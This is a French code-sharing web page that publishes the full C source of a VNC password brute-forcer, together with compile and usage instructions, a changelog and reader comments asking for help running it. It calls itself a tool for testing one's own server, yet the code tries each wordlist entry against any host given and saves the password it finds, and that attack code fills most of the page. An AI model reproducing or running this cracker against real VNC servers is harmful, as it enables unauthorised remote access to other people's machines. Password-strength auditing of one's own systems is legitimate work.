begin process at 2012 02 09 06:49:32
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

Applications Linux

 > SECURITE VNC (BRUTE FORCE)((LINUX)+VOIR COMMENTAIRES)

SECURITE VNC (BRUTE FORCE)((LINUX)+VOIR COMMENTAIRES)


 Information sur la source

Note :
9,33 / 10 - par 3 personnes
9,33 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10
Catégorie :Applications Linux Niveau :Initié Date de création :07/10/2003 Date de mise à jour :18/08/2004 14:04:56 Vu / téléchargé :20 081 / 1 179

Auteur : neoTHGLF

Ecrire un message privé
Commentaire sur cette source (17)
Ajouter un commentaire et/ou une note

 Description

Cliquez pour voir la capture en taille normale
CE PROGRAMME EST POUR UNE UTILISATION PERSONNELLE UNIQUEMENT !

RENOMMEZ le fichier cppfrance_source_16918.zip en cppfrance_source_16918.TAR.GZ pour pouvoir décompresser.

Un screen shot est disponible.
Cette source est faites pour etre compilée sous LINUX.

Ce code sert à verifier si le mot de passe de votre serveur VNC est fiable.
Explication plus claires :
Le programme se connecte à un serveur VNC.
Le serveur demande alors une authentification
Le programme client se sert alors du fichier f que vous lui avez indiqué en ligne de commande pour envoyer des mots de passes cryptés au serveur et demander si le mot de passe est bon.
Le fichier wordlist.dic fourni avec la source contient pleins de mots(c'est un dictionnaires anglais) qui sont encryptés puis envoyés au serveur.

Les explication dans mon fichier README sont claires.



Si le programme trouve le mot de passe, vous devrez pensez à le changer.
Les commentaires sont en Anglais car cette source je l'ai aussi publiée sur un site anglais.
Il n'y a peut être pas assez de controle d'erreur j'en suis désolé.
Tout est dans le ZIP.
ATTENTION ! le code affiché ci-dessous est seulement celui du programme principal, le reste se trouve dans le zip.

Compilation :
gcc neo.THGLF.vnc-cracker.c

Syntaxe :
./a.out -h [host] -p [port] -f [dicionnaire]
-h vous ne devriez logiquement que utiliser 127.0.0.1 comme [host].
-p est utile si le port est différent de 5190. Si -p n'est pas mis, le programme utilise le port par défault (5190).
-f un fichier wordlist.dic est inclu dans le zip

CE PROGRAMME EST POUR UNE UTILISATION PERSONNELLE UNIQUEMENT !

Source

  • /*########################################################
  • #VNC Brute-Forcer by neo.THGLF --> boby009009@aol.com #
  • # #
  • #This software is for dictionary attacker of a VNC server using #
  • #RFB 003.003 protocol.(or oldest but don't know if it could be use for a newest) #
  • #Please excuse my poor English, I'm french. :) # ###################################################################
  • # FOR UNDERSTANDING THIS PROGRAM, READ RFBPROTO.PDF WHICH CAN BE OBTAINED ON #
  • # www.realvnc.com/docs/rfbproto.pdf #
  • ###################################################################*/
  • //Compile : gcc neo.THGLF.vnc-cracker.c
  • #include <stdio.h>
  • #include <stdlib.h>
  • #include <getopt.h>
  • #include <sys/types.h>
  • #include <sys/socket.h>
  • #include <netinet/in.h>
  • #include "d3des.c"
  • #include "vncauthneo.c"
  • #include <sys/stat.h>
  • #include <time.h>
  • #include <netdb.h>
  • static int fd;
  • void *sec_malloc(size_t size) {
  • void *p;
  • if ((p=malloc(size))==NULL) {
  • fprintf(stderr,"malloc() failed for %d bytes\n",size);
  • exit (-1);
  • }
  • memset(p,0,size);
  • return p;
  • }
  • void usage(char **argv)
  • {
  • printf("VNC DICTIONARY-ATTACKER by neo.THGLF --> boby009009@aol.com\n");
  • printf( "Usage :\n"
  • "%s -h -p -f\n\n"
  • "-h host\n"
  • "-p port[5900] default is 5900\n"
  • "-f password_list\n\n"
  • "DON'T CARE ABOUT STRANGE BYTEs WHICH CAN APPEAR\n"
  • "FILE CREATED :\n"
  • "PASSWDVNCOK.passwd ------> file where the good password is stored\n"
  • "JUMPEDPASSWD ------> file where passwds which have been jumped for x reason are stored there\n"
  • " use this file for trying manually these passwds\n",argv[0]);
  • }
  • int VNC_connect(char *host,int port,char *wordlist) //Connection to the server and cracking.
  • {
  • struct sockaddr_in server_addr;
  • struct hostent *server;
  • int lensockaddr_server;
  • unsigned char auth_type[4]; //The byte n°4 contain the type of Authentication
  • unsigned char *RFB_proto[12]; //server first send 12 bytes for protocol identification
  • char challenge[16]; //challenge bytes
  • unsigned char response[4];
  • FILE *tmp; //File used to open wordlist file
  • FILE *stor; //File used to store GOOD PASSWORD
  • FILE *stor_jmp; //File used to store jumped passwords
  • char buffer[256];
  • int i;
  • tmp = fopen(wordlist,"r");
  • while(fgets(buffer,255,tmp)!=NULL)
  • {
  • if (strlen(buffer)>8) buffer[8]='\0'; //passwd can't be over 8 char
  • buffer[strlen(buffer)-1]='\0';
  • fd = socket(AF_INET,SOCK_STREAM,0);
  • if (fd < 0 )
  • {
  • printf("----------->Error, can't create socket");
  • exit(EXIT_FAILURE);
  • }
  • server = gethostbyname(host);
  • if ( server == NULL )
  • {
  • printf("----------->unknown host ! (%s)\n",host);
  • exit(EXIT_FAILURE);
  • }
  • server_addr.sin_family = AF_INET;
  • server_addr.sin_port = htons(port);
  • server_addr.sin_addr = *(struct in_addr *) server->h_addr;
  • lensockaddr_server = sizeof server_addr;
  • connect(fd,(struct sockaddr*) &server_addr,lensockaddr_server);
  • printf(">Connection OK !!(%s:%d)\n"
  • ">handshake will began \n",host,port);
  • //fonction which care about the authentification phase and challenge phase
  • /*Protocol identification phase*/
  • recv(fd,RFB_proto,12,0);
  • printf(">Protocol : %s \n",RFB_proto);
  • printf(">replying with same proto %s\n",RFB_proto);
  • send(fd,RFB_proto,12,0);
  • /*VNC authentification phase*/
  • /*byte 4 returns :
  • 0 for CONNECTION FAILED
  • 1 for NO AUTHENTICATION
  • 2 for VNC AUTHENTICATION
  • */
  • recv(fd,auth_type,sizeof(auth_type),0);
  • printf(">server send :\n");
  • for (i = 0; i < 4 ; i++)
  • printf("%d ",auth_type[i]);
  • printf("\n");
  • switch(auth_type[3])
  • {
  • case 0:printf(">>server is angry, waiting 120sec\n");sleep(120);break;
  • case 1:printf(">>NO AUTHENTICATION REQUIRED !\n");exit(0);break;
  • case 2:printf(">>authentication required...\n");break;
  • default:printf(">>unknowned server response. Should be 0, 1 or 2 but is : %d\n",auth_type[4]);exit(EXIT_FAILURE);break;
  • }
  • /*Challenge receiving phase*/
  • recv(fd,challenge,sizeof(challenge),0);
  • printf(">Receiving challenge : %x \n",challenge);
  • /*passwd encrypting and sending*/
  • printf(">Encrypting passwd : %s \n",buffer);
  • vncEncryptBytes(challenge,buffer);
  • printf(">sending encrypted passwd to server...\n");
  • send(fd,challenge,strlen(challenge),0);
  • printf(">receiving response from server...\n");
  • recv(fd,response,sizeof(response),0);
  • printf(">server answer : %d\n",response[3]);
  • switch(response[3])
  • {
  • case 0: printf("----------------------------->PASSWORD : %s -----> IS THE GOOD ONE ! YEAH !\n"
  • "----------------------------->STORING IT INTO FILE : PASSWDVNCOK.passwd \n",buffer);
  • //FILE *stor;//MAJ
  • stor = fopen("PASSWDVNCOK.passwd","w+");
  • if (stor == 0){
  • printf("can't create PASSWDVNCOK");
  • exit(EXIT_FAILURE);
  • }
  • fprintf(stor,"%s",buffer);
  • fclose(stor);
  • exit(0);
  • case 1: printf("----------------------------->passwd %s -----> REJECTED\n",buffer);fflush(stdout);break;
  • case 2: printf(">>>server say TOO MANY(it is angry), waiting 120secs \n"
  • ">>>the passwds %s has certainly been jumped, so try it manually\n"
  • ">>>storing it in JUMPEDPASSWD \n",buffer);
  • fflush(stdout);
  • stor_jmp = fopen("JUMPEDPASSWD","a");
  • if (!stor_jmp)
  • stor_jmp = fopen("JUMPEDPASSWD","w+");
  • fprintf(stor_jmp,"%s\n",buffer);
  • fclose(stor_jmp);
  • sleep(120);
  • break;
  • default: printf("##################################################################"
  • "\n>>>UNKNOWN RESPONSE ! continuing but will not be efficience \n"
  • ">>>the passwds %s has certainly been jumped, so try it manually \n"
  • ">>>storing it in JUMPEDPASSWD... \n"
  • "##################################################################\n\n",buffer);
  • stor_jmp = fopen("JUMPEDPASSWD","a");
  • if (!stor_jmp)
  • stor_jmp = fopen("JUMPEDPASSWD","w+");
  • fprintf(stor_jmp,"%s\n",buffer);
  • fclose(stor_jmp);
  • break;
  • }
  • shutdown(fd,2);
  • memset(buffer,0,256);
  • }
  • free(buffer);
  • fclose(tmp);
  • return 0;
  • }
  • int main(int argc, char **argv)
  • {
  • int opts;//for getopt()
  • extern char *optarg;
  • extern int optind;
  • char *optstring = "h:p:f:"; //arguments
  • int argv_flag = 0 ; //we can know if there is an error with the flag
  • /*if argv_flag == 1 then -p and -f have not been specifed
  • if argv_flag == 2 then -h and -f have not been specifed
  • if argv_flag == 4 then -h and -p have not been specified
  • if argv_flag == 3 then -f has not been specified
  • if argv_flag == 5 then -p has not been specified
  • if argv_flag == 6 then -h has not been specified*/
  • char *wordlist = NULL; //contain the name of the passwordfile
  • char *host = NULL;
  • int port = 5900;
  • //MAJ :
  • FILE *tmp;
  • while ((opts = getopt(argc, argv, optstring)) != EOF)
  • {
  • switch (opts)
  • {
  • case 'h': //Host argument
  • argv_flag += 1;
  • host=(char *)sec_malloc(strlen(optarg)+1);
  • strcpy(host,optarg);
  • break;
  • case 'p': //Port argument
  • argv_flag += 2;
  • port=atoi(optarg);
  • if (port ==0 || port > 65535){
  • printf("------------>port must be gretter than 0 and less than 65535 !\n"
  • "------------>port %s is invalid !\n",optarg);usage(argv);exit(-1);}
  • break;
  • case 'f': //passwd file argument
  • argv_flag += 4;
  • wordlist=(char *)sec_malloc(strlen(optarg)+1);
  • strcpy(wordlist,optarg);
  • /*verify whether or not file can be opened*/
  • //FILE *tmp;//MAJ
  • tmp = fopen(wordlist,"r");
  • if (!tmp){
  • printf("Error, can't open %s\n",wordlist);
  • exit(EXIT_FAILURE);
  • }
  • else {
  • fclose(tmp);
  • }
  • break;
  • }
  • }
  • switch(argv_flag)
  • {
  • case 0:printf("\n******I need at least 2 arguments(host and wordlist)\n");usage(argv);exit(-1);
  • case 1:printf("\n******I can use port 5900 but where is they wordlist ?\n");usage(argv);exit(-1);
  • case 2:printf("\n******and the host !? and the wordlist !?\n");usage(argv);exit(-1);
  • case 3:printf("\n******I need a wordlist !\n");usage(argv);exit(-1);
  • case 4:printf("\n******I need a host ! (and a port if != from 5900)\n");usage(argv);exit(-1);
  • case 6:printf("\n******I need a host !\n");usage(argv);exit(-1);
  • case 5:printf("\n******Default port will be used(5900)\n");
  • case 7:printf("\nBRUTE-FORCING in progress....\n"
  • "on %s:%d with file %s \n\n",host,port,wordlist);VNC_connect(host,port,wordlist);break;
  • }
  • return 0;
  • }
/*########################################################
#VNC Brute-Forcer by neo.THGLF --> boby009009@aol.com                              #
#                                                                                                               #
#This software is for dictionary attacker of a VNC server using                           #
#RFB 003.003 protocol.(or oldest but don't know if it could be use for a newest) #
#Please excuse my poor English, I'm french. :)                                              # ###################################################################
#   FOR UNDERSTANDING THIS PROGRAM, READ RFBPROTO.PDF WHICH CAN BE OBTAINED ON #
#                    www.realvnc.com/docs/rfbproto.pdf                                                              #
###################################################################*/
//Compile : gcc neo.THGLF.vnc-cracker.c

#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include "d3des.c"
#include "vncauthneo.c"
#include <sys/stat.h>
#include <time.h>
#include <netdb.h>

static int fd;

void *sec_malloc(size_t size) {
    void *p;

    if ((p=malloc(size))==NULL) {
	fprintf(stderr,"malloc() failed for %d bytes\n",size);
	exit (-1);
    }
    memset(p,0,size);
    return p;
}


void usage(char **argv)
{
  printf("VNC DICTIONARY-ATTACKER by neo.THGLF --> boby009009@aol.com\n");
  printf( "Usage :\n"
	  "%s -h -p -f\n\n" 
	  "-h host\n"
	  "-p port[5900] default is 5900\n"
	  "-f password_list\n\n"
	  "DON'T CARE ABOUT STRANGE BYTEs WHICH CAN APPEAR\n"
	  "FILE CREATED :\n"
	  "PASSWDVNCOK.passwd  ------> file where the good password is stored\n"
	  "JUMPEDPASSWD        ------> file where passwds which have been jumped for x reason are stored there\n"
	  "                            use this file for trying manually these passwds\n",argv[0]);
  
}

int VNC_connect(char *host,int port,char *wordlist) //Connection to the server and cracking.
{  
  struct sockaddr_in server_addr;
  struct hostent *server;
  int lensockaddr_server; 
  unsigned char auth_type[4];   //The byte n°4 contain the type of Authentication
  unsigned char *RFB_proto[12]; //server first send 12 bytes for protocol identification
  char challenge[16];           //challenge bytes
  unsigned char response[4];
  FILE *tmp;                    //File used to open wordlist file
  FILE *stor;                   //File used to store GOOD PASSWORD
  FILE *stor_jmp;               //File used to store jumped passwords
  char buffer[256];                
  int i;
  
  tmp = fopen(wordlist,"r");
  
  while(fgets(buffer,255,tmp)!=NULL)
    {
      
      if (strlen(buffer)>8) buffer[8]='\0'; //passwd can't be over 8 char
      buffer[strlen(buffer)-1]='\0';

      fd = socket(AF_INET,SOCK_STREAM,0);
      
      if (fd < 0 )
	{
	  printf("----------->Error, can't create socket");
	  exit(EXIT_FAILURE);
	}
      
      server = gethostbyname(host);
      if ( server == NULL )
	{
	  printf("----------->unknown host ! (%s)\n",host); 
	  exit(EXIT_FAILURE);
	}
      
      server_addr.sin_family = AF_INET;
      server_addr.sin_port = htons(port);
      server_addr.sin_addr =  *(struct in_addr *) server->h_addr;
      lensockaddr_server = sizeof server_addr;
      connect(fd,(struct sockaddr*) &server_addr,lensockaddr_server); 
      printf(">Connection OK !!(%s:%d)\n"
	     ">handshake will began   \n",host,port);
      
      //fonction which care about the authentification phase and challenge phase
      
      
      
      /*Protocol identification phase*/
      recv(fd,RFB_proto,12,0);
      printf(">Protocol : %s \n",RFB_proto);
      printf(">replying with same proto %s\n",RFB_proto);
      send(fd,RFB_proto,12,0);
      
      /*VNC authentification phase*/
      /*byte 4 returns :
	0 for CONNECTION FAILED
	1 for NO AUTHENTICATION
	2 for VNC AUTHENTICATION
      */ 
      recv(fd,auth_type,sizeof(auth_type),0);
      printf(">server send :\n");
      for (i = 0; i < 4 ; i++)
	printf("%d ",auth_type[i]);
      printf("\n");
      
      switch(auth_type[3])
	{
	case 0:printf(">>server is angry, waiting 120sec\n");sleep(120);break;
	case 1:printf(">>NO AUTHENTICATION REQUIRED !\n");exit(0);break;
	case 2:printf(">>authentication required...\n");break;
	default:printf(">>unknowned server response. Should be 0, 1 or 2 but is : %d\n",auth_type[4]);exit(EXIT_FAILURE);break;
	}
      
      /*Challenge receiving phase*/
      recv(fd,challenge,sizeof(challenge),0);
      printf(">Receiving challenge : %x \n",challenge);
      
      /*passwd encrypting and sending*/
      printf(">Encrypting passwd : %s \n",buffer);
      vncEncryptBytes(challenge,buffer);  
      printf(">sending encrypted passwd to server...\n");
      send(fd,challenge,strlen(challenge),0);
      printf(">receiving response from server...\n");
      recv(fd,response,sizeof(response),0);
      printf(">server answer : %d\n",response[3]);
      switch(response[3])
	{
	case 0: printf("----------------------------->PASSWORD : %s -----> IS THE GOOD ONE ! YEAH !\n"
		       "----------------------------->STORING IT INTO FILE : PASSWDVNCOK.passwd    \n",buffer);
	  //FILE *stor;//MAJ
	  stor = fopen("PASSWDVNCOK.passwd","w+");
	  if (stor == 0){
	    printf("can't create PASSWDVNCOK");
	    exit(EXIT_FAILURE);
	  }
	  fprintf(stor,"%s",buffer);
	  fclose(stor);
	  exit(0);
	case 1: printf("----------------------------->passwd %s -----> REJECTED\n",buffer);fflush(stdout);break;
	case 2: printf(">>>server say TOO MANY(it is angry), waiting 120secs           \n"
		       ">>>the passwds %s has certainly been jumped, so try it manually\n"
		       ">>>storing it in JUMPEDPASSWD                                  \n",buffer);
	  fflush(stdout);
	  stor_jmp = fopen("JUMPEDPASSWD","a");
	  if (!stor_jmp) 
	    stor_jmp = fopen("JUMPEDPASSWD","w+");
	  fprintf(stor_jmp,"%s\n",buffer);
	  fclose(stor_jmp);
	  sleep(120);
	  break;
	default: printf("##################################################################"
			"\n>>>UNKNOWN RESPONSE ! continuing but will not be efficience   \n"
			">>>the passwds %s has certainly been jumped, so try it manually \n"
			">>>storing it in JUMPEDPASSWD...                                \n"
			"##################################################################\n\n",buffer);
	  stor_jmp = fopen("JUMPEDPASSWD","a");
	  if (!stor_jmp) 
	    stor_jmp = fopen("JUMPEDPASSWD","w+");
	  fprintf(stor_jmp,"%s\n",buffer);
	  fclose(stor_jmp);
	  break;
	}
      shutdown(fd,2);
      memset(buffer,0,256);
    }
  free(buffer);
  fclose(tmp);
  
  
  return 0;
}




int main(int argc, char **argv)
{
  int opts;//for getopt()
  extern char *optarg;
  extern int optind;
  char *optstring = "h:p:f:"; //arguments
  int argv_flag   = 0   ;     //we can know if there is an error with the flag
                            /*if argv_flag == 1 then -p and -f have not been specifed
			      if argv_flag == 2 then -h and -f have not been specifed
			      if argv_flag == 4 then -h and -p have not been specified
			      if argv_flag == 3 then -f has not been specified
			      if argv_flag == 5 then -p has not been specified
			      if argv_flag == 6 then -h has not been specified*/
  char *wordlist  = NULL;    //contain the name of the passwordfile 
  char *host      = NULL; 
  int port        = 5900;
  //MAJ :
 FILE *tmp;
  
  while ((opts = getopt(argc, argv, optstring)) != EOF)
    {            
      
      switch (opts) 
	{
	case 'h': //Host argument
	  argv_flag += 1;
	  host=(char *)sec_malloc(strlen(optarg)+1);
	  strcpy(host,optarg);
	  break;
	  
	case 'p': //Port argument
	  argv_flag += 2;
	  port=atoi(optarg);
	  if (port ==0 || port > 65535){
	    printf("------------>port must be gretter than 0 and less than 65535 !\n"
		   "------------>port %s is invalid !\n",optarg);usage(argv);exit(-1);}
	  break;
	  
	case 'f': //passwd file argument
	  argv_flag += 4;
	  wordlist=(char *)sec_malloc(strlen(optarg)+1);
	  strcpy(wordlist,optarg);
	  /*verify whether or not file can be opened*/
	  //FILE *tmp;//MAJ
	  tmp = fopen(wordlist,"r");
	  if (!tmp){
	    printf("Error, can't open %s\n",wordlist);
	    exit(EXIT_FAILURE);
	  }
	  else {
	    fclose(tmp);
	  }
	  break;
	  
	}
    }
  
  switch(argv_flag)
    {
    case 0:printf("\n******I need at least 2 arguments(host and wordlist)\n");usage(argv);exit(-1);
    case 1:printf("\n******I can use port 5900 but where is they wordlist ?\n");usage(argv);exit(-1);
    case 2:printf("\n******and the host !? and the wordlist !?\n");usage(argv);exit(-1);
    case 3:printf("\n******I need a wordlist !\n");usage(argv);exit(-1);
    case 4:printf("\n******I need a host ! (and a port if != from 5900)\n");usage(argv);exit(-1);
    case 6:printf("\n******I need a host !\n");usage(argv);exit(-1);    
    case 5:printf("\n******Default port will be used(5900)\n"); 
    case 7:printf("\nBRUTE-FORCING in progress....\n"
		  "on %s:%d with file %s                                \n\n",host,port,wordlist);VNC_connect(host,port,wordlist);break;
		  
    }
  
  
  return 0;
}

 Conclusion

Hum... j'ai décidé d'ajouter le code(du prog principal) au lieu de ne mettre que le zip car j'aimerais savoir ce qui ne colle pas dans mon code et je sais pertinemmeHum... j'ai décidé d'ajouter le code(du prog principal) au lieu de ne mettre que le zip car j'aimerais savoir ce qui ne colle pas dans mon code et je sais pertinemment que quand il n'y a qu'un zip, en général on ne se foule pas à rajouter de commentaire.(en tout cas c'est mon cas !)
MAJ : le 09 Octobre 2003 : modif du code principal, L148: FILE *stor; -->EFFACE CAR INUTILE

                                                                         L235: FILE *tmp; -->Bougé L209

Les raisons de cette MAJ :
neo.THGLF.vnc-cracker.c: In function `VNC_connect':
neo.THGLF.vnc-cracker.c:148: parse error before `*'
neo.THGLF.vnc-cracker.c: In function `main':
neo.THGLF.vnc-cracker.c:235: parse error before `*'
neo.THGLF.vnc-cracker.c:236: `tmp' undeclared (first use in this function)
neo.THGLF.vnc-cracker.c:236: (Each undeclared identifier is reported only once
neo.THGLF.vnc-cracker.c:236: for each function it appears in.)




 Historique

18 août 2004 13:56:39 :
Le zip ne marchait plus.
18 août 2004 13:59:05 :
Le fichier zip déconnait toujours, maintenant il devrait marcher.
18 août 2004 14:04:56 :
Ce p.... de zip ne marche toujours pas ! Les admins CS je comprends pas, ça vient pas de chez moi ! Bon, j'ai trouvé une solution : renommez le fichier cppfrance_source_16918.zip que vous allez télécharger en cppfrance_source_16918.TAR.GZ Ca devrait désormais fonctionner.

 Sources du même auteur

Source avec Zip CLASSE CLIENT TYPE NORMAL OU CRYPTE (SSL) WINDOWS/LINUX
Source avec Zip CLASSE SERVEUR DE TYPE NORMAL OU CRYPTE SSL (LINUX ET WINDOW...

 Sources de la même categorie

Source avec une capture COLORIMÈTRE NUMÉRIQUE LINUX par valchek
Source avec Zip TRAITEMENTS D'IMAGES AU FORMAT PGM AVEC LES ALGORITHMES DE C... par lemout
Source avec Zip ALGORITHME ACO INTERFACE GTK par RyBeN
Source avec Zip COMPRESSER SES SAUVEGARDES SMSBACKUPRESTORE (ANDROID) EN C A... par ThalLab
SIMPLE SCANNER DE PORTS par Vb6Malade

Commentaires et avis

Commentaire de CptLuthor le 09/12/2004 08:42:34

salut
Moi je voudrai réaliser un client et un server VPN le plus simple possible, c a d je lance le server (un .exe tout petit) , mes pots lancent chacun le client ( un .exe tout petit )  et hop  on est connecté à distance et on se voit sur le réseau.

je précise je ne ve pas de service de messagerie, c a d je ve juste quon se voi en reseau comme ca on se voit dans les jeux comme si on été en reseau local.

voila merci à ce qui pourront maider

Commentaire de dPompei2 le 29/03/2005 11:55:48

Ecoute, jsui dsl mai javais fait une longue pause de programmation, et la jviens de voir ton comm sur mon source de lire/ecrire fichiers .conf :S:p
Alors si ta tjrs besoin dune rep, va voir g (enfin) repondu ;)

Commentaire de neoTHGLF le 29/03/2005 20:23:13

Mieux vaut tard que jamais ;)
Cependant, je crois que j'avais trouvé ma réponse une ou deux heures après l'avoir posée ;). Bon j'ai du modifier un peu ta source (pourquoi ? je ne sais plus mais je sais que je me suis vraiment fait ch... )
@++

Commentaire de vec le 18/05/2006 10:31:34

Salut, je suis désolé, mais, je n'arrive pas à utiliser ton programme, mes connaissace en informatique son limité, mais, si tu pouvais m'expliquer, merci

Commentaire de dangeroussly le 29/08/2006 12:18:23

je ne suis pas arrivé a compiler ce prog, faut t-il ajouter des include a la fin de la ligne de commande?

Commentaire de neoTHGLF le 29/08/2006 21:19:20

Bonjour Dangeroussly,
peux tu me donner une sortie d'erreur ?
Il ne faut normalement rien pour pouvoir compiler le code.

Cordialement.

Commentaire de dangeroussly le 30/08/2006 18:27:14

Salut, voila mon rep, et voila ce que je fais. fais-je fausse route?

root@omega:/sources/vnc_cracker-1.0# v
total 296
-rw-r--r--  1  501  501    520 2003-08-30 22:09 MD5.sum
-rwxr-xr-x  1 root root  26018 2006-08-29 12:21 a.out*
-rw-r--r--  1 root root  15245 2003-08-07 13:35 d3des.c
-rw-r--r--  1 root root   1618 2003-08-07 13:35 d3des.h
-rw-r--r--  1  501  501    811 2003-08-30 22:08 neo.THGLF.README.txt
-rw-r--r--  1 root root   9162 2003-08-30 20:57 neo.THGLF.vnc-cracker.c
drwxrwxr-x  2  501  501    120 2003-08-30 22:03 old-ver/
drwxrwxr-x  2  501  501     80 2003-08-30 22:03 original/
-rw-r--r--  1 root root   1166 2003-08-07 13:35 vncauth.h
-rw-r--r--  1 root root   3008 2003-08-30 20:52 vncauthneo.c
-rw-rw-r--  1  501  501 222320 2003-08-30 20:17 wordlist.dic
root@omega:/sources/vnc_cracker-1.0# gcc neo.THGLF.vnc-cracker.c
In file included from neo.THGLF.vnc-cracker.c:21:
vncauthneo.c: In function 'vncEncryptBytes':
vncauthneo.c:99: warning: incompatible implicit declaration of built-in function                      'strlen'
neo.THGLF.vnc-cracker.c: In function 'sec_malloc':
neo.THGLF.vnc-cracker.c:35: warning: incompatible implicit declaration of built-                     in function 'memset'
neo.THGLF.vnc-cracker.c: In function 'VNC_connect':
neo.THGLF.vnc-cracker.c:76: warning: incompatible implicit declaration of built-                     in function 'strlen'
neo.THGLF.vnc-cracker.c:138: warning: pointer targets in passing argument 1 of '                     vncEncryptBytes' differ in signedness
neo.THGLF.vnc-cracker.c:182: warning: incompatible implicit declaration of built                     -in function 'memset'
neo.THGLF.vnc-cracker.c: In function 'main':
neo.THGLF.vnc-cracker.c:218: warning: incompatible implicit declaration of built                     -in function 'strlen'
neo.THGLF.vnc-cracker.c:219: warning: incompatible implicit declaration of built                     -in function 'strcpy'
root@omega:/sources/vnc_cracker-1.0#


Merci A+

Commentaire de neoTHGLF le 31/08/2006 00:56:51

Tu dois être nouveau dans la programmation et dans l'univers linux non ?
Car il s'avère que la source se compile tout à fait correctement.
Si tu lis bien les lignes, il s'avère qu'il n'y a aucune erreur de compilation, mais seulement des avertissements ("warning").
Tu constateras en outre qu'il s'est créé un nouveau fichier dans ton répertoire, le fichier "a.out". Ce fichier à les droits -rwxr-xr-x soit : -read-write-execute.
Ce fichier est le programme compilé.
La simple commande : root@omega:/sources/vnc_cracker-1.0#./a.out lancera le programme.
Il faut savoir que lorsque l'on compile un programme avec GCC, si l'on ne fourni pas un nom, le programme généré par le compilateur se nommera a.out par défaut.
la commande : root@omega:/sources/vnc_cracker-1.0#gcc neo.THGLF.vnc-cracker.c VNC-CRACKER génèrera un programme se nommant VNC-CRACKER.
Voilà, j'espère que mes explications complémentaires te seront utilent.

Cordialement.

Commentaire de neoTHGLF le 31/08/2006 01:06:03

Vec, google est ton ami. Si tes connaissances en informatique sont limitées, je ne saisi pas trop l'intérêt que tu pourrais porter à mon programme. C'est programme de test de sécurité(pour winVNC),développé pour linux, et en règle générale ce genre de programme n'intéresse que les gens qui ont des connaissances plus approfondies en informatique. Par ailleurs, linux s'adressant surtout à des "intermédiaires/professionnels" en informatique, ta question me parait étrange, et me semble être celle d'un script-kiddie.
J'aime pas les script-kiddies.

++

Commentaire de dangeroussly le 31/08/2006 19:50:54

Salut, désolé de te paraitre script kiddie, mais ca fait un peu 4 ans que j'ai pas programmé en C sous linux, mon travail (dans l'informatique) ne requiert pas sa, mais requiert par contre des connaissance en sécurité, d'ou mon interet pour ton programme.
J'ai abandonné la prog, je n'ai plus le temps, je sais des trucs, mais je ne les appliquent pas souvent, je sais par exemple que ton "gcc neo.THGLF.vnc-cracker.c VNC-CRACKER" équivaut a "gcc neo.THGLF.vnc-cracker.c -o VNC-CRACKER" (le -o en plus), he oui, donc désole man, mais je ne suis pas un kiddie, jen'ai juste pas la pratique régulière.

Merci pour tout. je vais essayer le a.out.

A+

Commentaire de neoTHGLF le 02/09/2006 02:34:46

Arf, je ne parlais pas de toi Dangeroussly ! Je répondais à "Vec".
Qui disait : "Salut, je suis désolé, mais, je n'arrive pas à utiliser ton programme, mes connaissace en informatique son limité, mais, si tu pouvais m'expliquer, merci".
Mais meme, tout bien réfléchi, il ne méritait pas vraiment que je lui dise ça... je devais etre énervé ce soir là.

Cordialement.

Commentaire de dangeroussly le 05/09/2006 08:10:11

c'est pas grave, tant pis si je l'ai pris pour moi, et tant pis pour vec qui croit que c'est pour moi, y'a pas eu de mal de fait.
J'ai pas encore testé le programme, je suis dans une ecole, et la c'est la rentrée, c'est la folie, on court partout, jte irait ca apres.

Merci bye a+

Commentaire de goldenmike93110 le 15/02/2007 10:37:54

Bonjour,
En exécutant la commande ./a.out -h <l'adresse Ip> -f wordlist.dic
j'obtiens la ligne suivante :

>>unknowned server response. Should be 0, 1 or 2 but is : 2

J' ai essayé de supprimer la commande de sortie dans la cas default du switch correspondant, je n'ai plus cette ligne mais le programme ne fonctionne toujours pas chez moi.

Pourriez-vous m'aider?

Commentaire de neoTHGLF le 15/02/2007 13:38:39

Bonjour,

depuis que j'ai écrit ce code le protocole RFB utilisé par RealVNC a changé et est passé à la version 4.
#This software is for dictionary attacker of a VNC server using#
#RFB 003.003 protocol#

Désolé.
Cordialement.

Commentaire de XelectroX le 07/12/2007 17:44:29 8/10

Ya pas de zip :(

Je crois que si tu veux garder le format *.tar.gz tu devrait encore le recompresser une fois au format zip ou plus simple et plus interessant pour cppfrance le faire directement en zip ainsi on peut voir les fichiers sources et ceux-ci sont correctement listés.

On dirait qu'il n'y avait plus de commentaires depuis un petit bout de temps ...

J'ai pas essayé ta source car c'est pour linux, ne me propose pas de télécharger linux, je l'ai déjà mais je suis toujours sur vista ... ^^ Alors je te mets un 8 pour ta source car c'est une très bonne solution pour détecter les petites failles de mots de passe. Et que le principe utilisé est bien.

Commentaire de XelectroX le 07/12/2007 17:47:59

Oups, j'avais pas encore remarqué le bouton "Télécharger le zip" juste en-dessous de "Informations sur la source". N'empêche que tu peux toujours faire comme je t'ai proposé, ainsi on pourra avoir la liste et télécharger un seul fichier si on veut :)

Commentaire de Mofo2008 le 10/07/2008 09:40:52

From where do i get vncauthneo.c or the whole dir with the sources ?!
Thaks

 Ajouter un commentaire




Nos sponsors


Sondage...

Comparez les prix

CalendriCode

Février 2012
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
272829    

Consulter la suite du CalendriCode

Photothèque

 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,842 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales